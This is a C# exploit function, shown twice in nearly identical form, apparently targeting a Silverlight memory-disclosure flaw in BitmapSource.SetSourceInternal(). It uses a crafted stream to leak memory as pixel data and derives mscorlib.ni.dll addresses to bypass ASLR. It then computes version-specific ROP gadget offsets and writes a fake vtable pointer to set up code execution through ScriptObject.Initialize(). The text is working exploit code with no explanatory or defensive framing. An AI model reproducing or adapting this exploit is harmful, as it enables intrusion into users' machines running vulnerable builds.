// exploits memory disclosure in BitmapSource.SetSourceInternal() ulong MemoryDiscl() { try { // prepare malicious MemoryStream MyStream ms = new MyStream(); // create image based on stream data and data "outside" the stream BitmapImage bi = new BitmapImage(); ms.offs = 39; // set offset for 32 bit environment bi.SetSource(ms); // call the vulnerable SetSourceInternal() // check png data parsing results is64 = bi.PixelWidth == 0 || bi.PixelHeight == 0; if (is64) // error, ok lets try again with the offset for 64 bit { ms.offs = 79; bi.SetSource(ms); } // check png data parsing results if (bi.PixelWidth == 0 || bi.PixelHeight == 0) { throw new Exception("Bad PNG data"); // error png parsing } // ok, now we should pass the diclosed memory into WriteableBitmap to access it as RGB pixel data WriteableBitmap wb = new WriteableBitmap(bi); LogAdd(wb); // read pixels from image int[] p = wb.Pixels; int len = p.Length; LogAdd(String.Format("pixels available to read: {0}", len)); string s = " "; for (int i = 0; i < len; i++) { s = p[i].ToString("X").Substring(2); LogAdd(String.Format("pixel[{0}] = {1}", i, s)); } // convert int[] to byte[] byte[] b = new byte[len * 3]; int k; for (int i = is64 ? 5:2, j = 0; i < len; i++, j += 3) { k = p[i] & 0xffffff; b[j + 2] = (byte)(k & 0xff); k >>= 8; b[j + 1] = (byte)(k & 0xff); k >>= 8; b[j + 0] = (byte)(k & 0xff); k >>= 8; } // parse memory addresses from b[] ulong hMod = ReadAddr(b, is64 ? 0:1); // type pointer for obj[] // we'll need it for mscorlib.ni.dll image base calculation for the ASLR bypass ulong addr1 = ReadAddr(b, is64 ? 24:13); // obj[0] = address of png[] bufAddr = ReadAddr(b, is64 ? 32:17); // obj[1] = address of MainPage.inst.buf[] LogAdd("obj[] type = " + Hex(hMod) + ", png[] address = " + Hex(addr1) + ", buf[] address = " + Hex(bufAddr)); // calc the ROP offset inside mscorlib.ni.dll // * x86 // 7997526b 83493440 or dword ptr [ecx+34h],40h // 7997526f b801000000 mov eax,1 // 79975274 c20400 ret 4 // * x64 // 000007fe`f03e19d0 895168 mov dword ptr [rcx+68h],edx // 000007fe`f03e19d3 c3 ret if (Environment.OSVersion.Platform != PlatformID.Win32NT) { throw new Exception("Sorry, but the further code works for Windows only."); } ulong rop = 0; if (vsn.Major == 5 && vsn.Build == 10411) { rop = (hMod & 0xffffffffffff0000) - (ulong)(is64 ? 0x670000 - 0x4519D0 : 0x470000 - 0x2A526B); } else if (vsn.Major == 5 && vsn.Build == 61118) { rop = (hMod & 0xffffffffffff0000) - (ulong)(is64 ? 0x670000 - 0x4519D0 : 0x470000 - 0x2A520F); } if (rop == 0) { throw new Exception("Sorry, but the further code works for vulnerable 5 builds only."); } // calc object pointer offset inside png2[] ulong addr2 = bufAddr - (ulong)(is64 ? 96:45); k = (int)(addr2 - addr1) - (is64 ? 16:8); // write vtable pointer WriteAddr(ms.png, k, addr2); // write address of ROP gadget WriteAddr(ms.png, k + (is64 ? 8:4), rop); // ok, return the pointer for ScriptObject.Initialize() exploitation return(addr2); } catch (Exception ex) { LogAdd("Error: " + ex.ToString()); } return(0); }
// exploits memory disclosure in BitmapSource.SetSourceInternal() ulong MemoryDiscl() { try { // prepare malicious MemoryStream MyStream ms = new MyStream(); // create image based on stream data and data "outside" the stream BitmapImage bi = new BitmapImage(); ms.offs = 39; // set offset for 32 bit environment bi.SetSource(ms); // call the vulnerable SetSourceInternal() // check png data parsing results is64 = bi.PixelWidth == 0 || bi.PixelHeight == 0; if (is64) { // error, ok lets try again with the offset for 64 bit ms.offs = 79; bi.SetSource(ms); } // check png data parsing results if (bi.PixelWidth == 0 || bi.PixelHeight == 0) throw new Exception("Bad PNG data"); // error png parsing // ok, now we should pass the diclosed memory into WriteableBitmap to access it as RGB pixel data WriteableBitmap wb = new WriteableBitmap(bi); LogAdd(wb); // read pixels from image int[] p = wb.Pixels; int len = p.Length; LogAdd(String.Format("pixels available to read: {0}", len)); string s = " "; for (int i = 0; i < len; i++) { s = p[i].ToString("X").Substring(2); LogAdd(String.Format("pixel[{0}] = {1}", i, s)); } // convert int[] to byte[] byte[] b = new byte[len * 3]; int k; for (int i = is64 ? 5:2, j=0; i < len; i++, j+=3) { k = p[i] & 0xffffff; b[j + 2] = (byte)(k & 0xff); k >>= 8; b[j + 1] = (byte)(k & 0xff); k >>= 8; b[j + 0] = (byte)(k & 0xff); k >>= 8; } // parse memory addresses from b[] ulong hMod = ReadAddr(b, is64 ? 0:1); // type pointer for obj[] // we'll need it for mscorlib.ni.dll image base calculation for the ASLR bypass ulong addr1 = ReadAddr(b, is64 ? 24:13); // obj[0] = address of png[] bufAddr = ReadAddr(b, is64 ? 32:17); // obj[1] = address of MainPage.inst.buf[] LogAdd("obj[] type = " + Hex(hMod) + ", png[] address = " + Hex(addr1) + ", buf[] address = " + Hex(bufAddr)); // calc the ROP offset inside mscorlib.ni.dll // * x86 // 7997526b 83493440 or dword ptr [ecx+34h],40h // 7997526f b801000000 mov eax,1 // 79975274 c20400 ret 4 // * x64 // 000007fe`f03e19d0 895168 mov dword ptr [rcx+68h],edx // 000007fe`f03e19d3 c3 ret if (Environment.OSVersion.Platform != PlatformID.Win32NT) throw new Exception("Sorry, but the further code works for Windows only."); ulong rop = 0; if (vsn.Major == 5 && vsn.Build == 10411) { rop = (hMod & 0xffffffffffff0000) - (ulong)(is64 ? 0x670000 - 0x4519D0 : 0x470000 - 0x2A526B); } else if (vsn.Major == 5 && vsn.Build == 61118) { rop = (hMod & 0xffffffffffff0000) - (ulong)(is64 ? 0x670000 - 0x4519D0 : 0x470000 - 0x2A520F); } if (rop == 0) throw new Exception("Sorry, but the further code works for vulnerable 5 builds only."); // calc object pointer offset inside png2[] ulong addr2 = bufAddr - (ulong)(is64 ? 96:45); k = (int)(addr2 - addr1) - (is64 ? 16:8); // write vtable pointer WriteAddr(ms.png, k, addr2); // write address of ROP gadget WriteAddr(ms.png, k + (is64 ? 8:4), rop); // ok, return the pointer for ScriptObject.Initialize() exploitation return addr2; } catch (Exception ex) { LogAdd("Error: " + ex.ToString()); } return 0; }